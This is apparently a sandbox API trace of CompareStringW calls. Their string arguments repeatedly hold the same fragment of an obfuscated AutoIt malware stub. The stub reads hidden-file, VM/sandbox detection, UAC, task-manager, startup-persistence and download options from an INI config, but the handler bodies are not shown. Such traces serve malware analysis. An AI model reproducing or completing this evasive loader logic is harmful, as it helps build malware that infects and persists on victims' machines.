$6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 3 [0078.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3t", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const 